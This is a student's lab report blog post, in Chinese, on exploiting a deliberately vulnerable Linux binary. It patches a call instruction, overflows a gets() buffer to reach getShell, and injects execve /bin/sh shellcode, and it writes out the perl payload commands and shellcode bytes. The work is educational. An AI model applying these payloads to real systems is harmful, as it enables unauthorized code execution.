emeraldy

博客园 首页 新随笔 联系 订阅 管理

20242903 2024-2025-2 《网络攻防实践》实践9报告

目录

1. 实践内容

本次实践对象为名为pwn1的Linux可执行文件,其正常执行流程为main调用foo函数实现输入回显。程序中存在未被调用的getShell函数(可返回Shell),目标是通过三种方式激活该代码段:

  1. 手工修改可执行文件,改变执行流程至getShell函数
  2. 利用foo函数的Bof漏洞构造攻击字符串,覆盖返回地址触发getShell
  3. 注入自定义Shellcode并执行

2. 实验要求

  • 掌握NOPJNEJEJMPCMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器操作
  • 能通过修改机器指令改变程序流程
  • 能构造Bof攻击的payload

3. 实践过程

3.1 任务一:手工修改可执行文件

  1. 文件重命名与反汇编
    将文件重命名为pwn2903yx后执行反汇编:
    objdump -d pwn2903yx | more
    



2. ​分析反汇编结果与计算


可以看到反汇编后的结果,这里出现了<foo><getshell><main>等函数,我们的需求是要改变程序的执行流程,这里的main函数80484b5行是e8 d7 ff ff ff,他的作用是call 8048491,通过查阅资料可以知道这一行的call指令机器码为e8,而d7 ff ff ff为补码而且是小端序,换算后的数值是-29,80484b5的下一条地址为80484ba,因此寄存器中的80484ba加上ffffffd7等于8048491,此地址即为foo函数的地址,因此要达到调用getshell函数的目的就要修改d7 ff ff ff使得80484ba加上修改后的数变为getshell函数的地址即为0804847d,经过计算要修改为c3 ff ff ff。
3. ​修改
在修改前已经做好源文件的备份:

直接使用vim指令打开pwn2903文件会得到一串乱码,此时再次退出后输入:%!xxd指令可以查看16进制的格式

随后输入/e8 d7查找到需要修改的位置

找到位置后将其修改为c3 ff

随后输入指令:!xxd -r转为原来的格式
4. ​验证


这里通过运行pwn2903yx和再次进行反编译文件可以得到验证修改成功

3.2 任务二:利用foo函数的Bof漏洞构造攻击字符串

  1. 反汇编分析

    再次进行反汇编,对<foo>函数进行分析,发现其中关键的两行sub $0x38,%esplea -0x1c(%ebp),%eax
    对于foo函数的作用可以简单的理解为下述c语言函数
 void foo() {
    char buf[28];  // 位于 ebp - 0x1c 开始
    gets(buf);     // gets 不限制长度,易导致栈溢出
 }

sub $0x38, %esp将栈顶 esp 向下移动 0x38(即 56)个字节。为局部变量预留 56 字节的空间。但指令lea -0x1c(%ebp), %eax获取一个局部缓冲区 buf 的地址。即28字节,而 gets() 不会限制输入长度,如果输入超过28字节,就会越过缓冲区边界,覆盖旧EBP和返回地址,从而造成栈溢出,执行任意代码,而旧的ebp会占据四个字节,因此需要在第32字节之后(第33~36字节) 填入 getShell() 的地址
2. ​gdb分析
下载并成功安装gdb

使用gdb进行分析


此时结合实验一也能找到getshell函数的地址为
因此输入28+4个字节后来确认是否为小端序

可以发现为小端序,因此使用命令编写并构造字符串
3. ​编写字符串进行攻击
使用以下命令

   perl -e 'print "A" x 28 . "\x7d\x84\x04\x08" . "\x0a"' > attack_input


"A" x 28 表示填充 28 个字节,填充到栈溢出的起始位置。"\x7d\x84\x04\x08" 是 getShell 函数的地址 0x0804847d 的字节表示(注意字节顺序是小端格式)。
"\x0a" 是换行符(用于终止输入)。

发现可以成功调用getshell函数,使用ls命令可以查看文件shell端口查看文件夹中文件,攻击成功

3.3 注入自定义Shellcode并执行

前面两种方式都是函数程序种本来就有getshell函数,通过跳转地址的方式直接去执行,但一般情况下不会有getshell函数,因此需要自己进行编写。

  1. 攻击环境设置

    首先我们需要下载Execstack,根据链接下载并解压后可以控制操作系统设置堆栈可执行的权限。我们下载好这个软件之后,将pwn文件设置为堆栈可执行,并关闭随机地址化。

    本次实验选择的构造攻击方式为anything+retaddr+nops+shellcode,使用的sheelcode内容如下
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

使用perl命令构造的字符串为

perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
  1. 测试执行
    构造完shellcode后,对于前四个字符我们暂时输入的为\x4\x3\x2\x1。此时需要来确认究竟应该填写什么,因此我们先将这个字符串注入程序中,观察程序究竟如何执行。

    再打开另一个终端来找到进程号

    这里我的进程过多因此需要先杀死前两个实验中的进程

    这里找到进程号为11028

    随后打开另外一个终端使用gdb进行分析

    逆汇编foo函数并找到断点的位置为0x080484ae

    设置完断点后继续运行运行至了断点处此时查看寄存器数据,看到运行到了0xffffd36c,查看0xffffd36c这个地址的数据,可以发现数据采用小端字节序我的\x1\x2\x3\x4进行了注入,因此下一跳位置应该为0xffffd370应该把\x1\x2\x3\x4修改为0xd370
    于是我们便重新利用perl语言,将返回地址修改正确,并在最后加上回车(0x0a),然后重新运行程序。

    获取getshell成功

3.实验问题及解决方案

  1. 下载gdb失败

    第一个问题Kali 默认软件源中的部分软件包已被移除或迁移,导致 apt 试图下载旧版本包失败(404)。

    将我的下载源更换为清华大学 Kali 镜像源即可解决
  2. 下载gdb失败

    GPG 错误:缺少公钥,导致 Kali 镜像源不能被验证

    将缺少的公钥(ED65462EC8D5E4C5)进行了导入

4.实践总结

本次实践通过手工修改可执行文件、利用栈溢出漏洞及注入自定义Shellcode三种方式,深入理解了程序执行流程控制与漏洞利用的核心原理,掌握 call、ret 等汇编指令的机器码结构,理解函数调用过程中栈帧的变化。熟悉 objdump、gdb 等工具的使用,能够通过反汇编分析程序逻辑,定位关键代码段。在调试Shellcode注入时,通过多终端协作和gdb 附加进程定位问题,提高了动态分析能力认识到缓冲区溢出漏洞的严重性,理解现代防御机制(如栈保护、ASLR)的必要性。实践中验证了“输入验证不足”导致的安全风险,为今后开发中编写安全代码提供警示。

5.参考文献

https://blog.csdn.net/u013782446/article/details/138595256

posted on 2025-05-07 19:53  emarldy  阅读(60)  评论(0)    收藏  举报